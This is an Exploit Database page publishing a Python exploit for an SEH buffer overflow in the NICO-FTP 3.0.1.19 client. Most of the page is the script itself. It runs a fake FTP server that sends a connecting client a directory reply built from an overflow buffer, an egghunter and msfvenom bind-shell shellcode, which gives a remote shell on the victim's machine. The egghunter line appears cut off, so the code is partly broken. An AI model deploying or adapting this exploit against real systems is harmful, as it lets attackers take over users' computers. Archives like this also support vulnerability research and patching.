# NICO-FTP 3.0.1.19 - Buffer Overflow (SEH)

**EDB-ID:**
45442

**CVE:**
N/A

**EDB Verified:** ✓

**Author:**
ABDULLAH ALIÇ

**Type:**
LOCAL

**Exploit:** / {}

**Platform:**
WINDOWS_X86

**Date:**
2018-09-20

**Vulnerable App:**

```
# Exploit Title: NICO-FTP 3.0.1.19 - Buffer Overflow (SEH)
# Author: Abdullah Alıç
# Date: 2018-09-04
# Software link: https://en.softonic.com/download/nico-ftp/windows/post-download
# Tested Version: 3.0.1.19
# Vulnerability Type: Buffer Overflow (SEH)
# Tested on OS: Windows XP Professional SP3 x86 eng

import socket
import sys

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(5)

#msfvenom -p windows/shell_bind_tcp  -b "\x00\x0a\x0d" -f python
#355 bytes
buf =  ""
buf += "\xba\xc6\xe4\x42\xd0\xd9\xea\xd9\x74\x24\xf4\x5e\x33"
buf += "\xc9\xb1\x53\x83\xc6\x04\x31\x56\x0e\x03\x90\xea\xa0"
buf += "\x25\xe0\x1b\xa6\xc6\x18\xdc\xc7\x4f\xfd\xed\xc7\x34"
buf += "\x76\x5d\xf8\x3f\xda\x52\x73\x6d\xce\xe1\xf1\xba\xe1"
buf += "\x42\xbf\x9c\xcc\x53\xec\xdd\x4f\xd0\xef\x31\xaf\xe9"
buf += "\x3f\x44\xae\x2e\x5d\xa5\xe2\xe7\x29\x18\x12\x83\x64"
buf += "\xa1\x99\xdf\x69\xa1\x7e\x97\x88\x80\xd1\xa3\xd2\x02"
buf += "\xd0\x60\x6f\x0b\xca\x65\x4a\xc5\x61\x5d\x20\xd4\xa3"
buf += "\xaf\xc9\x7b\x8a\x1f\x38\x85\xcb\x98\xa3\xf0\x25\xdb"
buf += "\x5e\x03\xf2\xa1\x84\x86\xe0\x02\x4e\x30\xcc\xb3\x83"
buf += "\xa7\x87\xb8\x68\xa3\xcf\xdc\x6f\x60\x64\xd8\xe4\x87"
buf += "\xaa\x68\xbe\xa3\x6e\x30\x64\xcd\x37\x9c\xcb\xf2\x27"
buf += "\x7f\xb3\x56\x2c\x92\xa0\xea\x6f\xfb\x05\xc7\x8f\xfb"
buf += "\x01\x50\xfc\xc9\x8e\xca\x6a\x62\x46\xd5\x6d\x85\x7d"
buf += "\xa1\xe1\x78\x7e\xd2\x28\xbf\x2a\x82\x42\x16\x53\x49"
buf += "\x92\x97\x86\xe4\x9a\x3e\x79\x1b\x67\x80\x29\x9b\xc7"
buf += "\x69\x20\x14\x38\x89\x4b\xfe\x51\x22\xb6\x01\x4c\xef"
buf += "\x3f\xe7\x04\x1f\x16\xbf\xb0\xdd\x4d\x08\x27\x1d\xa4"
buf += "\x20\xcf\x56\xae\xf7\xf0\x66\xe4\x5f\x66\xed\xeb\x5b"
buf += "\x97\xf2\x21\xcc\xc0\x65\xbf\x9d\xa3\x14\xc0\xb7\x53"
buf += "\xb4\x53\x5c\xa3\xb3\x4f\xcb\xf4\x94\xbe\x02\x90\x08"
buf += "\x98\xbc\x86\xd0\x7c\x86\x02\x0f\xbd\x09\x8b\xc2\xf9"
buf += "\x2d\x9b\x1a\x01\x6a\xcf\xf2\x54\x24\xb9\xb4\x0e\x86"
buf += "\x13\x6f\xfc\x40\xf3\xf6\xce\x52\x85\xf6\x1a\x25\x69"
buf += "\x46\xf3\x70\x96\x67\x93\x74\xef\x95\x03\x7a\x3a\x1e"
buf += "\x33\x31\x66\x37\xdc\x9c\xf3\x05\x81\x1e\x2e\x49\xbc"
buf += "\x9c\xda\x32\x3b\xbc\xaf\x37\x07\x7a\x5c\x4a\x18\xef"
buf += "\x62\xf9\x19\x3a"

nseh="\xEB\x80\x90\x90" # JMP BACK 128 bytes
seh="\x84\x12\x40\x00" #POP-POP-RETN null byte is trivial
egghunter =
"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54
egg = "\x54\x30\x30\x57" #W00T

junk = "\x90" * (2160-len(buf)-len(egghunter)) + egg + egg + buf +"\x90" *
100 + egghunter   + "\x90" * 7 + "\xEB\x80\x90\x90" +"\x84\x12\x40\x00"
#junk total 2283 bytes

buffer =junk

while True:
    conn, addr = s.accept()
    conn.send('220 Malicious FTP server!\r\n')
    print(conn.recv(1024))
    conn.send("331 OK\r\n")
    print(conn.recv(1024))
    conn.send('230 OK\r\n')
```

```
    print(conn.recv(1024))
    conn.send('220 "'+buffer+'" is current directory\r\n')
```

**Tags:**

**Advisory/Source:** Link

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

ONLINE TRAINING

Databases

Links

Sites

Solutions

EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES